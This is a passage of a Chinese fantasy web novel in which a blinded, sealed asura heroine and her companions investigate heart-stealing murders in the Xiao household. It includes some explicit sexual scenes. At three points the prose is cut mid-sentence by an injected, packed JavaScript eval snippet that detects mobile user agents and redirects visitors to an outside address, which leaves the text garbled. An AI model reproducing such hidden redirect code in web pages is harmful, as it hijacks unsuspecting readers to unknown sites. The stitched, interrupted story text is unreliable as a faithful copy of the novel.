姜芜不以为意地说:“不会,我周身的气息已经被睢羲封住了,连每日能使用的戾气都寥寥无几。即便是萧舒延都觉得我是个普通人,所以若是你们见到强悍的我,直接斩杀便是,那必定不是我。” 寂满激动地拍了拍手,“早就想问你了,区区掌风而已竟然会让你站立不稳,原来是这个原因。” 雾沅看向姜芜的表情瞬间变得柔和,“所以这便是你的眼疾久而不愈的原因?” “我这样在人世间行走倒方便一些,只是柔弱不能自理,还请各位多多帮扶啦,这样刚好符合我一个无父无母的孤女形象。”姜芜笑着说,“与其关注我,不如想想萧舒延有何计划,他为何要阻我们。小道士啊,你们的师门可真是害惨了我们,被人利用上演了一场瓮中捉鳖呐。” 商扶庭握紧了手中的太初剑,神情坚毅,“师门不会害我们的。” 姜芜面上笑容不变,“先吃午饭吧,吃完饭好好休息一下,其余的事情等养好精力再说也不迟。” 商扶庭看了沈确一眼,随后对姜芜说:“保险起见,先在我们身上做标记吧。” “好啊。” 姜芜吃过午饭以后率先离席,拒绝了雾沅的帮衬后找了间厢房推门而入,她摸索着找到了梳妆台,开始解头上的辫子,为了戴兜帽方便,她这几日都未梳发髻,只是贴着头皮编了几条辫子。 姜芜用梳子将头发梳顺,轻轻按揉着扯痛的头皮,她知晓荆州城不能久待,保险起见决定趁着夜色去会一会萧氏三兄弟。 姜芜起身将身上繁重的衣物脱下搭在了木施上,抻了个懒腰后向床榻走去,她伸手揉了揉胸口钉了噬魂骨钉的地方,疼得眉心紧皱,片刻后她聚集起体内残留的神力缓缓得附着于自己的双眸之上。 但是,神力稀薄,并不能修复姜芜被毒气侵染的双眸,更不能将毒素引出体内,她长长地叹了一息,随后仰面躺在了床上。 荆州多雨,窗外很快落起了蒙蒙细雨,薄雾瞬间蔓延开来,天光也逐渐昏暗。 姜芜的房门悄无声息地被打开,来人将手中的油纸伞一卷放进了门口处伞筒内。 姜芜觉得眼前一片朦胧有光亮可见,身体沉重难以挪动,便知晓自己在发梦,也便没有管到底是何人进门了,她静静得等着梦中人的动作。 来人缓步朝着床榻而来,提起自己的衣袍坐在了床边,看着她悠闲的睡姿。 姜芜右手搭在自己脸侧,左手随意地搭在被褥上,一条腿随意地曲起,露出白皙紧致的小腿,发卷的长发铺在床上如同一条上好的锦缎。 一条极具破坏美感的淤青横陈在姜芜的小腿外侧。 来人的手掌带着潮意,轻轻托住了姜芜的小腿,施力揉捏着那处淤青。 姜芜蹙眉,有些不满意这个狎昵梦境,开始挣动起自己的腿,企图从梦境中逃离。 一阵轻微的敲门声响起。 姜芜惊醒,她迅速翻身坐起,只觉得房屋后方一阵车轮声渐行渐远,她伸手摸了摸自己微凉的小腿,手心一片冰凉湿意。 “姜芜,天色暗了,需要点灯吗?” 雾沅的声音从门外响起。 姜芜起身将衣裳穿好,从袖袋中取了根白玉簪挽好长发,她伸手拉开了门,一股潮气扑面而来。 “是下雨了吗?” 雾沅应了一声,挥手点燃房间内的蜡烛。 姜芜笑着说:“我眼睛看不见,点了灯也无用。” “你不说我也竟然不觉那毒对你的伤害居然如此之重。”雾沅说,“是否可以让我试试帮你解毒一事?” 姜芜想起方才种种,“我们院子附近可出其他人出现?” 雾沅摇了摇头,见姜芜面色不对便追问道:“并无,发生何事了?” 姜芜收敛了面上的笑容,流露出一丝嫌恶,“方才我听到了车轮的声音。” 雾沅抬眸向窗户处看了一眼,神情凝重,“后面是一条府内过道,并非府外,莫非是有人经过?还是说萧氏派人监视我们?” 姜芜说:“今夜我们去会会这三位公子,看看他们都有藏有什么秘密。” 雾沅看着姜芜无神的双眸,“先让我帮你看看眼睛吧,我试试能不能把你治好。” 姜芜的手指捏紧门框,片刻后她无言地松手向房间内走去,寻了一处铺着软垫的椅子坐好。 “雾沅,你不恨我吗?” 雾沅将紫黑色的妖力聚集于掌中,刚要覆到姜芜的面上,便听到她开口说了这么一句话,手上动作难免一顿。 “为何这么说?”说完,雾沅伸手覆盖了上去,紫黑色的妖力如同一只蝴蝶,在姜芜的面上展翅欲飞。 姜芜感到双眸一阵刺痛,难以自控地蹙起了双眉,“如果不是我当初挖了袁星月的心,戚诃便不会捕捉霰雪蝶来复活她,你的悲剧是我造成的。” 雾沅说:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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雾沅扫视了一圈房间内侧,抬手在门口的位置打了两道妖印,随后便撑开伞同姜芜走入了雨幕之中。 两人站在暗处,静静地观察着灵堂附近的动向。 雾沅将眼前所见的转述给姜芜,“这个时间还是有下人在劳作的,只是那三位公子都不在,我们欲如何?” 姜芜抬手掐诀,凝聚一丝戾气在指尖,黑红色的戾气旋转形成一阵细小的旋风,随即飞快地扩大,将整个灵堂都圈在了其中。 正在忙碌的下人顿时停止了手中的动作,保持着时间停止流逝前的动作。 “这个小把戏只能维持一刻钟的时间,我们速战速决。” “一刻钟已经不短了。”雾沅牵着姜芜朝着萧魁的棺椁走去,“我见其他修罗的戾气颜色都是十分单一的黑色,为何你的是两种颜色混合?这其中有何种说法吗?” 姜芜挑眉,“你见过多少修罗?睢羲的戾气颜色应该不只有黑色吧?”说完,她伸手贴着棺椁的边缘深入其中,探查着萧魁致命上的气息。 雾沅若有所思地说:“我有些武断了,我见过的修罗确实不多。如何?萧魁的伤口可有异常?” “鬼气森森的,确实是鬼族人的手段不错。”姜芜收回手,“但是他的心脏也确实不见了,只是不知这鬼族人挖心做何用?” 雾沅蹙眉,“从未听说过鬼族人需要用心脏这种离奇事情,只是一些大妖会为了自己的皮囊而食用人心,维持貌美容貌。” 姜芜来了兴致,她转头面向雾沅,“怎么个说法?” 雾沅解释道:“并不是所有妖怪幻化成人形都是貌美的,除了树妖、花妖、蝶妖、蛇妖、兔妖、狐妖等等,这些原本外表美丽的妖怪外,其余的妖怪若是想拥有貌美外表,则需要用人皮绘之,以人心来稳固,否则幻化而成的美貌不稳,很容易变回原本模样。” 姜芜勾唇轻笑,“所以寂满长得好看的原因是他的母亲是蛇妖吗?” 雾沅颔首,“青鳞夫人是尊上所有夫人中最为貌美的一位了,当然无论是妖怪本身的美貌,还是后续幻化的靓丽皮囊都是比不过修罗的容貌。” 姜芜摇了摇头,随着雾沅的力道往灵堂外走去,“皮囊而已,最不值一提了。” 法术失效,所有的下人重新活动了起来,一时之间并没有人察觉到姜芜和雾沅的存在。 “我觉得美丽的容颜还是有用的,否则便不会有‘一见钟情’这种词的诞生了。”雾沅突然脚步一顿,他看着从天而降的黑影,伸手护着姜芜退后了一步。 姜芜问道:“发生何事了?” 姜芜话音刚落,一股浓重的血腥味便蔓延开来,周围的下人虽然惊慌,但也未曾大喊大叫、自乱阵脚,而是静静得待在原地,甚至有几个已经习以为常,面上些许麻木。 白面书生仰面躺在院中,心口处破了一个大洞,鲜血正缓缓得从他的口鼻和伤口中流出,他的四肢微微抽搐,面上神情惊诧,仿佛死前看到了令他大为震惊的事情。 萧云听到声响很快带人来到了灵堂,她看到姜芜和雾沅二人,开口质问道:“夜深露重,天还在落雨,不知二位为何会到灵堂中来?” 40. 夜色 寂满愁眉不展地坐在当中,手边的烛火突然猛地一晃,他迅速回神,伸手护住火苗。 “九哥!” 寂满看着面前突然出现的螭吻,兴致冲冲地上前将他抱住。 “你怎么有空来人间?” 螭吻一袭月华白的长袍,墨色长发高高束起,他笑得温柔,轻轻地揉了揉寂满的发顶,“几百年不见,你怎么还跟个小孩一样?这只是我的一缕神识,我的真身还在椿树上。” 寂满仰头去看螭吻,“九哥,你今天跟我说的话可是真的?到底是哪个不长眼的大妖,敢做出如此离经叛道之事?” 螭吻面色凝重,“谁也没有见过它的真面目,甚至连它是雄是雌都不清楚。” 寂满问道:“九哥希望我怎么做?” 螭吻摸着寂满的头发,“我们十兄弟里,你是最容易化龙的一个,你目前真身是蛟,离化龙只有一步之遥。只要你飞升化龙,那么你便是除了父亲之外唯一的真龙,何愁镇不住大荒?而且还能解开父亲的封印。” 寂满挠了挠头发,从螭吻怀中退了出来,“可是我……这么多年了都没有褪皮飞升的趋向……九哥,我真的能化龙吗?” 螭吻颔首,“当然,但是你还需要一个人的帮助。” “谁?” “姜芜。” 寂满蹙眉,“为何是她?是需要她的戾气吗?她已经给过我了,我还要怎么做?” 姜芜缩在雾沅身侧,神情惊慌地攥紧了后者的袖子,轻声开口道:“白日未能祭拜萧城主,萧大公子却不计前嫌许诺会治好我的眼疾,为弥补我心中愧疚,所以来给萧城主上香。却不知……却不知会发生这种事。” 萧云半信半疑地看着姜芜,随即请示般地回头看向赶来的萧舒延。 “将尸体清理了吧。” 雾沅低声问道:“院中的那具尸体上可附着鬼气?” 姜芜摇了摇头,“并无。” 雾沅蹙眉,“真是奇怪。” “我们先走。”说完,姜芜便推搡着雾沅往外走去。 萧舒延并未阻拦,不问缘由任凭二人离开。 “大人,你信他们所言?”萧云神情担忧地说,“近日鬼族人入侵频发,时常有人会着道,我们千万不能掉以轻心。” 萧舒延面无表情地说:“鬼族人想要的东西并不在灵堂,也不在父亲的尸首上。” 雾沅引着姜芜走出灵堂,两人低头不语沿着小路行了半盏茶的时间。 雾沅开口问道:“接下来该如何?” 姜芜把手伸出伞,沾了一手潮意,“雾沅,你见萧二公子萧高瞻这人第一面感觉如何?” 雾沅回忆了片刻,“其实今日三位公子都见了一遍,大公子萧舒延虽不苟言笑,为人冷淡,但八面玲珑,待人接物都恰到好处。二公子萧高瞻平易近人,长相温和,也许是好相与的性格,倒是三公子……” 雾沅想起刚到荆州城时在灵堂内隔着人群同萧无祸对上的那一眼,顿时觉得遍体生寒。 雾沅修炼近万年,又因得了机遇修为突飞猛进,已经鲜少有人能给予他这般感觉了,所以他下意识觉得萧无祸很危险。 姜芜静等了片刻,见雾沅伫立在原地一直未动,便有些好奇地问道:“怎么了?是看到了什么还是想到了什么?” 雾沅轻声说:“萧无祸此人身形懒散但神情阴郁,或许是因着病体沉疴的原因,倒是我觉得此人给我的感觉很不好。” “这样啊,那我们先从萧无祸开始查起吧。” 雾沅顺着萧无祸的气息找到了他居住的院子,酉时末,天色如墨无芒,大团的乌云堆积,遮星避月,四周水气缭绕,寒风阵阵。 “不在?” 雾沅有些诧异。 姜芜说:“正合我意,隐匿气息,我们进去看看。” 两人顺着廊庭深入院内,走到一处房间门前时突然传来了阵阵娇/吟声。 萧无祸死死地掐住萧蔚的细腰,双眸猩红,语气却是恶狠狠的,“你不是说我喜欢我吗?现下便不行了?” 萧蔚伏在萧无祸的胸前,气息难以平复,瓷白的肌肤泛着粉红,“三……三郎,容我稍微缓一缓。” 萧无祸轻笑了一声,他双手提起萧蔚,舔咬着她的襟前,“怎么?跟一个残废没有兴致吗?你不是说自己很会吐纳之法吗?现在都用不上了?” 萧蔚面色酡红,她侧身从萧无祸的身上翻下,以免自己压到他的旧患。 萧无祸的唇舌在萧蔚的颈窝处流连,片刻后才哑声说:“转过去。” 萧蔚自觉得背对着萧无祸,抬腿反勾在他的腰上。 姜芜面上的笑容有些无奈,往廊庭外走了几步,“看来今夜在萧无祸处是没有收获了。” “小心些,那便是台阶。”雾沅伸手捞住姜芜,“但是我觉得有些不对劲。” 姜芜挑眉,“怎么?有何不对劲的?” 雾沅面色苍白,他回忆着初见萧蔚时的情景,眉头紧锁。 屋内的声音越来越激烈,随着一阵高昂而偃息旗鼓。 雾沅猛地向房内看去,“有妖气!” “谁?!” 一只白色的身影破门而出,直奔后山。 雾沅把伞塞到姜芜的手中,立刻追上前。 姜芜有些无奈地摇了摇头,“年轻人,真是冲动。” 萧蔚窝在萧无祸的怀中缓了片刻,贪恋般地蹭了蹭,随后起身披衣,打开窗户通风。 姜芜听到响动,扔掉手中的雨伞,迅速躲到暗处。 “三郎,我唤人来打水洗漱。” 姜芜蹙眉,她本以为听墙角的只有她同雾沅,现下看来还有一个。 窗前的人影立于暗处,说是唤人却没有了下一步的动作。 姜芜决定先下手为强,她强硬唤出无心乱,甩鞭朝着窗口袭去。 萧无祸抬手抓住了长鞭,施力预备将暗处的人拽出来。 姜芜随手扯了衣摆遮面,腾空而起。 萧无祸一惊,手中的长鞭断开,碎裂成节,迅速飞向姜芜,环绕于她的四周。 萧无祸从房内飞出,立于姜芜对面,他垂眸看了一眼掌心中深可见骨的伤痕。 姜芜睫毛轻颤,抬眸缓缓得看向萧无祸。 萧无祸挑眉,“你不是瞎子?不对,你是鬼族人。” 姜芜哂笑一声,预备将计就计,“看来三公子也不是残废,否则如何同我站在此处讲话?” 萧无祸嗤笑,“鬼王已经迫不及待了吗?这么想要得到一个萧家人的身体?派人三番五次来试探?” 姜芜笑着问道:“萧三公子觉得呢?” 萧无祸脸上笑意渐深,“很快,告诉他别急。” “那便静候佳音。”说完姜芜便飞身出了院子。 萧蔚一身白衣从房间冲出,接住了萧无祸摇摇欲坠的身体,“三郎,你感觉如何?那种药不能再食了,我一定有办法治好你的。” 萧无祸喘着粗气,神情虚弱地躺在萧蔚的怀中,“事情都解决了吗?没留下破绽吧?” 萧蔚神情焦急,泫然欲泣,她点了点头,“都解决了,不会怀疑到我们身上的。” “那便好。” 姜芜将无心乱化作一根手杖,摸索着在小道上行走着,她目不能视,方才与萧无祸对峙是凭借着无心乱和血腥味,现下重归黑暗,她连方向都难辨认。 “真是太不方便了,明知晓我伤了眼睛,还封印我体内的戾气,一天到晚只有那么一点戾气可用,用完了便没有了,随随便便一阵掌风便能将我袭倒。”姜芜絮絮叨叨地说着,“分道扬镳后真是一点情谊不顾,这么折辱我,为何不狠心直接杀了我。” 姜芜气极,忍不住用手杖狠戳了几下地面。 姜芜突然缩回了手,她方才触到了一样物什,随后又不确信般的伸出手,确定了面前是个人,衣料和上面的刺绣都是上乘。 面前之人也不出声言语,任凭姜芜在他的衣服上摸来摸去,最后摸到了他的手。 姜芜发觉面前之人皮肤温热又弹性,并不像是死人,她抬起手杖挥了过去。 “装神弄鬼!” 萧舒延握住了姜芜的手杖,“萧云,这位女郎似乎很不满自己的眼疾,明日找无咎来给她看看。” “是。” 姜芜的面色逐渐阴沉,她并不知晓方才自己的怨气被萧舒延听到了多少,也摸不透他的此番所作所为究竟为何,心中忍不住开始盘算起来,如果他要点明自己的身份,以自己目前残存的戾气,对上当世修为第一人的萧舒延的胜率有多少。 “我送女郎回去。” 萧舒延握着姜芜的手杖,一点一点缩近二人的距离,直到衣料之间摩擦出声,才转身牵引着姜芜往前走去。 姜芜即刻松了手杖,“萧公子这是做何?” 萧舒延见状,隔着衣袖把姜芜的手腕托起,将手杖放在了她的手心中,“既然如此,萧云你去请女郎的同行之人来,让他们来接女郎回去。” 萧云颔首,领命离去。 姜芜摩擦着手杖,不动声色地听着萧舒延的一举一动。 萧舒延声音冷淡,“夜深露重,不知晚饭还合女郎的胃口?” 姜芜谨慎地说:“还不曾吃饭。” 萧舒延说:“饮食习惯要保持,否则对身子不好。” 姜芜打算将计就计,“逃亡的日子一路风餐露宿习惯了,一顿不吃也不会怎样。” 萧舒延轻笑一声,“来到此地,女郎可以放宽心了,既有一日三餐的热汤饭,萧府也会保证女郎的安全。” 姜芜手指摩擦着手杖上的花纹,面上带笑,“萧大公子好生奇怪,为何对我一个来路不明的人展现出如此好意,我一个小小孤女,身无外物,萧大公子还想挟恩图报不成?” “女郎多虑了,我并无此意。”萧舒延面上不为所动,“只是家父生前多次告诫我们要帮扶弱小,切莫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256343|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为修行入道而横行霸世。” 姜芜挑眉,“萧大公子这番话,倒是显得我以小人之心度君子之腹了。也罢,萧大公子高风亮节,如纯白之鹤,你我云泥之别,我不过一只小家雀而已。” 萧舒延垂眸看向姜芜,“女郎好一张伶牙俐口,我并未多说什么,你倒是如此咄咄逼人。女郎真是逃难孤女吗?身上衣服华贵不说,脑袋也是灵光得紧,为人骄横跋扈,没有一点草木皆兵的样子。我好心好意,女郎不领情也便罢了,反倒是指责我狼心狗肺。” 姜芜闻声脸上闪过一丝惊讶,随即笑出了声,“我何时指责你狼心狗肺了,萧大公子莫要血口喷人,我一小小孤女,心中多些防备,总比被人欺负了得好吧。您大人不记小人过,我一粗鄙之人说的话,莫要放在心上,也不用对我展现出如此的怨意,倒显得我欠你的一般。” “姜芜!” 商扶庭神情焦急地背着太初剑匆匆而来。 “萧大公子,你很有意思,期待跟你的下次见面。”说完,姜芜便朝着商扶庭走去。 商扶庭把姜芜迎到了自己的伞下,自然而然地握住了她的手,“你去哪里了?为何不招呼一声?” 姜芜不动声色地将自己的手抽了出来,将手杖换到了商扶庭一侧的手中,“随意逛逛,不小心迷了路,雾沅回去了吗?” 商扶庭摇头,他回头戒备地看了萧舒延一眼颔首示意,随后低声问道:“并未,你们二人一同出去的?雾沅去哪了?” 姜芜说:“捉妖去了。” “妖?”商扶庭蹙眉,“这荆州府内也是卧虎藏龙,不仅有鬼族居然还有妖族。” 姜芜笑着说:“还有修罗哦,不知晓有没有长灵族和羽族,指不定有好戏看呢。” 商扶庭神情无奈,“你真是看热闹不嫌事大。” 姜芜收敛了笑容,神情变得严峻,“最近当心一些,夜里睡觉也留意点,方才死了一个修士,便是白日里那个书生。” 商扶庭蹙眉,“白面书生?他是如何死的?” “挖心。” 两人迎着雨走回偏院时,雾沅已经赶了回来,他见二人进门,放下了手中的茶杯迎了上去。 “如何?” 姜芜略略惊讶,“什么如何?你难道把希望寄托在我一个瞎子身上吗?” 雾沅神情一凝,“并非,我只是想问问你后续有没有发现异常之处?” 姜芜摸索着坐到了桌前,她给自己倒了一杯茶,“萧无祸说鬼王想要一具萧家人的身体,而且他腿疾真假难辨,最起码他能够如同常人一般站立,你追得那个听墙角的妖怪呢?” “听墙角?”寂满的眼神突然变得有些戏谑,“你们两个大晚上跑出去听人墙角,而且还不带着我,太不道德了吧。” 姜芜莞尔,“是听墙角不道德,还是不带着你不道德,你年纪还小,脑子里不要想一些情情爱爱的东西,不利于修行。” 寂满起身拍了拍胸膛,十分自豪地说:“我父亲在我这个年纪,我六哥霸下已经能满地跑了好吗?” “是啊。”姜芜顺着寂满的话说了下去,“可惜啊,你现下却连个可心的人儿都没有。” 寂满不忿地扬了扬下巴,“那怎么了?这个屋子内的人人妖妖,除了你这个修罗,谁有?” 商扶庭敛眸,五味杂陈地捻了捻自己的手指。 沈确蹙眉,她站到商扶庭身侧,“我和师兄一心向道,不在意红尘俗世,而且我们年纪还小,不要把我们归到你们之中。” 姜芜抬手制止了寂满的话头,“说太远了,雾沅你继续说下去,那个妖怪如何?” 雾沅摇头,神情有些自责,“我没追上,那只妖怪的修为在我之上,我甚至没有看清它的原型。在我离开之后,萧三公子和他的......他的夫人还在房内吗?” “我不清楚,我听到了那个女人的声音,但是伪装声音是再容易不过的小把戏了。”姜芜捧着茶杯,“不过这个萧无祸倒是有趣,既勾结了鬼族,又跟妖族牵扯不清。不,应该说萧家人都很有趣。” 商扶庭想起方才姜芜同萧舒延交谈甚欢的情景,开口问道:“你从萧大公子那里有打探出何事吗?” 姜芜低头抿了一口热茶,“并没有,我只是对于他过分示好一个瞎眼孤女表示生疑,还说要帮我治眼睛,素未平生而已。” 寂满一副看热闹不嫌事大的模样,“说不定是听到你那一句托付个好人家动心,想收你做夫人呢,毕竟你的相貌天下少有,谁不喜欢样貌姣好之人,这样生出来的孩子也好看。” 姜芜冷笑一声,“你想太多了,你这么单纯,若是没有雾沅,岂不是早让人捕走卖蛇皮了。” “今夜那个同我们起冲突的白面书生死了。”雾沅抬眸扫视了一圈房间内的众人,“鬼族人虽然麻烦,但是尚能解决,如果睢羲再追来,我们要如何?隋姑娘给的药粉已经全部用完了,之前姜芜还能抵挡一番,现下这般,我们该如何?” 41. 无痕 姜芜缓缓得收敛了脸上的笑容,捧着茶杯沉默不语。 商扶庭看了姜芜一眼,随后对雾沅说:“到时候你可以继续封闭我的五感六识,让我来对付睢羲。” 姜芜当即否定商扶庭的这个想法,“在没有搞清楚你身上的秘密之前,不要随意地使用这个办法,除非你想被一点一点的挤占身体,成为一个孤魂野鬼。” 寂满惊道:“是啊,你身上到底是怎么回事啊?突然出现的那个人到底是谁?” 雾沅不动声色地看了姜芜一眼,不知晓后者的这番阻止是真心在意商扶庭,还是另有所图,毕竟睢羲如果真的追随着他们来到了荆州,在姜芜戾气被封的前提下,封印商扶庭的五感六识便是最好的破局之法,此法虽然诡异,但是对商扶庭来说并无甚太大伤害。 沈确见众人神情低迷,便开口说:“与其在这里杞人忧天,对未来的事情发愁,我们不如快速弄清楚现下的局面,如果可以到时候利用鬼族人来抵抗修罗也是一个办法,不是吗?” 商扶庭摸了摸手上的纳戒,决心将自身的情况写于心中送回长衡山,希望师尊和师叔们给予一个答案。 “事情要一件一件的来,我明日便去找萧三公子借避火瓶,只要借到避火瓶,我们便可以离开这里,那些假设与担忧也就没有任何意义了。” 姜芜笑着捋了捋眉心,“我们本就是为避火瓶而来的,萧家的事情与我们无关,只要别再旁生事端。但此间有鬼族人,还是小心谨慎为妙,最起码在我们摸清楚他们杀人的规律之前。” 寂满讶然,他张开手指贴上了雾沅的胸口,“杀人还要规律?看来他们只是想要心,随便一个心脏不就可以吗?” 众人陷入沉默,直到夜深才各自散去。 姜芜沿着廊庭往房间内走着,手杖伴随着雨声富有规律地落在地上。 商扶庭跟在姜芜身后,欲言又止地看着她。 “你有事找我?” 姜芜停下脚步,等着商扶庭跟上来。 商扶庭抿了一下双唇,从纳戒中将天书取了出来,支支吾吾地问道:“这个该怎么用?” 姜芜伸手覆在白玉书筒上,磅礴金色神力从其中溢出,在昏暗的雨幕中照亮了两人的脸。 “平时如何修行,便如何用。将这些神力吸纳于身体,然后慢慢分解,化为己用。” 商扶庭看着漂浮在白玉书筒四周的金色神力,尝试着取了一点来吸入内府之中,一股刺痛感顺着经脉如同小刀一般,进入了内府之中。 商扶庭蹙眉,轻哼出声。 姜芜问道:“很痛吧,忍一忍。” “当初……”商扶庭咬牙忍痛,“当初师祖也是这般忍耐过来的吧?” 姜芜摇了摇头,笑着说:“我并不知晓,我同他虽然是至交好友,但时至今日我才发觉,我并不了解他,看来我们也没有到无话不谈的地步。” 商扶庭讶然,“我以为你同师祖的感情会很好,毕竟你们结伴游历了名山大川,入南疆斩鬼王,将妖族逼退至大荒,还封印了无幻之境,我以为你们的情谊无人能比。” 姜芜摩擦着掌中的手杖,“你想太多了,段怀野是圣人,随天命降生,他要做的很多事情都是一帆风顺的。”说完,她从袖袋中取出了斩魄剑递给了商扶庭。 “这是斩魄剑,能对鬼族造成不可逆转的伤害,你应该能用得到。” 商扶庭伸手接过斩魄剑,面上露出一丝痛苦,从他拜入山门开始,越迦柯便一直处于闭关的状态,偶尔出关也是一副病怏怏的模样,但是他会给师弟师妹们讲很多天南地北的趣事。 商扶庭只见过越迦柯一次,是在他十岁那年的除夕夜上。 越迦柯被众多弟子围住,他看到商扶庭后却招手示意上前来,然后塞给了他一个红色小包裹,里面装着可观的压岁钱。 “扶庭,既然太初剑认你做主,便要好好修行,不可荒废。” 姜芜不知此时该同商扶庭说些什么,索性转身进了房间。 商扶庭攥紧了手中的斩魄剑,随后又无可奈可地合上了双眸。 姜芜听着商扶庭的脚步声逐渐远离,随后朝着内间走去,她伸手脱下自己的衣裳,卸力般地躺在了床上。 在姜芜的眼里,四周一片空洞,睁开眼睛与合上眼睛的区别不大,她抬手将别发的白玉簪取下,捞在手中轻轻地把玩着,谋划着如何找其全部的天书供商扶庭修行,并寄希望于其中还有破局之法。 夜越深,雨越大。 姜芜听着淅淅沥沥的雨声,觉得自己像是泡在了水中,她起身赤脚踩到了脚榻上,侧耳倾听着窗外廊庭上的动静。 咕噜……咕噜……咕噜…… 姜芜眉心拢起,指尖凝聚出一簇戾气,刚要抬手打出去,却被人攥住了手腕。 姜芜一惊,没想到自己会被这种声东击西的小把戏欺骗,她翻转手腕,挣脱而出,抬腿横扫,趁来者的注意力都用了抵抗她的进攻时,将指尖的戾气弹出。 来人收手,却因身体失控直接坐在的床榻上。 “据我来荆州萧家不过一日光景,便这么按捺不住来试探我两次吗?” 来人抬眸,目光沉沉地看着姜芜,随即伸手将她扯了过来锁在怀中。 姜芜双眸一眯,无心乱中的长剑弹出,她反手搭在了来者的脖颈上,“谁派你来的?有何目的?” 血珠顺着剑身滴落在姜芜的手上、身上。 姜芜嗅了嗅空气中的血腥味,被潮意洗涤过后仍旧夹杂着一丝干燥刺鼻的余烬之息。 姜芜松了手,无心乱顿时消散在空中,她有些慌乱得凝聚戾气,修复着那道伤口。 温热的气息凑过来时,姜芜惊得瑟缩一下,柔软的双唇吻上了她的双眸,舌尖拨动着她纤长的睫毛。 姜芜捉着来者的衣裳,从襟口处探入,指腹抚摸着心口未愈之伤的边缘。 濡湿的双唇离开了她的双眸,转而吻在她的额头和脸颊上,一下一下地轻啄在她的鼻尖和唇峰处。 姜芜伸手扯住来人的长发,冰凉的发链从她的指缝中流出,像一条蛇缠在她裸露在外的手臂上。 “你要做何事?”姜芜轻哼了一声,气息有些不稳,“说我违背了誓言,让我做出分道扬镳的选择,现下又来撩拨我,把这个东西取出去!” 姜芜抓过来者的手,按在胸前钉着的噬魂骨钉上。 来人垂眸,他揭开姜芜的衣襟,白皙的皮肤在靠近心口的位置有一圈扎眼泛红的地方,像是绝顶瓷器上的一个豁口,一支白色的骨钉埋在其中,丝丝缕缕的黑色戾气不断地从其中冒出,又带着一丝诡异的美丽。 微凉带着潮意的指尖围绕着骨钉按压。 指尖挑去溢出来的血丝,整个手掌都覆了上去,不轻不重得按揉着。 姜芜倒吸了一口凉气,她按住那只手,“你是冒雨来的吗?这么久了,手为何还这么凉?” 姜芜见他不语,伸手摸索着点了点他的鼻梁,“来都来了,为何不讲话……嗯?” 姜芜刚要收回手指,却被咬住,潮热的气息喷在她的指骨上,坚硬的牙齿隔着薄薄的皮肉磨着骨头。 姜芜有些恼火,起身欲走。 “不生气吗?” 姜芜那颗惴惴不安的心,在听到熟悉的声音后安定了下来。 “知道我生气还不把这根骨头取出去!” 来者沉默着,面上神情阴晴不定,片刻后才说:“还不行,你不愿意将顒鸟精火引出来,只能用噬魂骨钉一同封印,否则日日灼烧下去,你的经脉会损伤大半,逐渐虚弱至无法抵抗精火,最终被烧成灰烬。” 姜芜刚想开口,肩颈处便传来丝丝缕缕的疼痛,接着是细密的亲吻,她软了腰,扭动着身体往热源钻。 “我眼睛疼,你治好它。” 姜芜觉得脸上的乱发被拂开,一道坚定的力量压在她的后颈处,不容置疑地向前推。 姜芜伸出手,主动吻了上去,她旋身躺在床榻上,拉他入欲海共沉沦。 “不是说分道扬镳吗?嗯?” 姜芜偏头呼吸着,“是你让我做选择的,你如果听我的,我还需要做选择吗?我明明是为了你好。” 突然袭来一阵大风,将窗纸刮出难以忽略的响声。 姜芜愣了一下,想起一段往事。 “害怕风声?春雨无雷。” 濯漪缩着肩膀,拿睢羲的手捂住了自己的耳朵,“之前觉得风声好可怕,在黑夜里鬼哭狼嚎的,而且就我一个人。” “以后起风了便是我在想你。” 濯漪双眸带笑,抬头看向睢羲,“你在我身边也会想我吗?” 睢羲吻了吻濯漪的额头,“会一直想着你。” “好让人伤心的选择啊。” 姜芜回神,感觉到自己的脸颊被轻轻地蹭着,顿时心软得一塌糊涂,她伸手将人紧紧地拢在怀中,抱得紧紧的,仿佛只有这样才能缓解她心里的酸胀感。 “不把这个东西编成手链送我,你也不会伤到眼睛。” 粗糙如同石子一般的晶块摩擦着姜芜的脸颊。 姜芜偏头蹭了蹭温暖的掌心,“因为它可以延缓你的伤势。” “为何不能陪着我走到生命的尽头?” “哐当。” 一阵瓷器碎裂的声音响起。 姜芜猛得坐了起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271621|163894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,惊慌得向身侧摸去,才发觉昨夜是一场了无痕迹的梦,她有些失落地抿了抿双唇,起身洗漱。 商扶庭收了太初剑,一脸歉意地上前扶起萧云,“您没事吧?抱歉,我刚刚没有注意到。” 萧云有些惋惜地看着地上洒落的汤药,摇了摇头说:“我没事,就是可惜了这碗药了。商道长无需如此客气,唤我萧云便可。” 商扶庭垂眸看着地上浓稠暗红的残汁,“这是给谁的药?” “给姜女郎的药,萧公子让我带了府内的大夫给她看眼睛。”萧云说,“不知姜女郎现下起了吗?” 商扶庭蹙眉,犹豫了片刻,他知晓姜芜眼睛失明的原因,只是不知晓这大夫能不能治好姜芜,会不会因此发现她的身份。 “我去喊她。” 商扶庭决定试一试,毕竟大夫一旦治好了姜芜,也是给他们多添加了一份保障。 